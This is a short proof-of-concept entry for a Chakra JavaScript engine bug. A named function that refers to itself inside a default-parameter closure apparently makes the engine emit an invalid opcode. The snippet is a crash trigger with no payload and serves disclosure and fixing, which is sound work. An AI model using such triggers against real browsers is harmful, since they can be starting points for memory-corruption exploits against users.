PoC:
```
(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {
    }
})();
```
Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
                      
                    
                  
                
              
             
        
          
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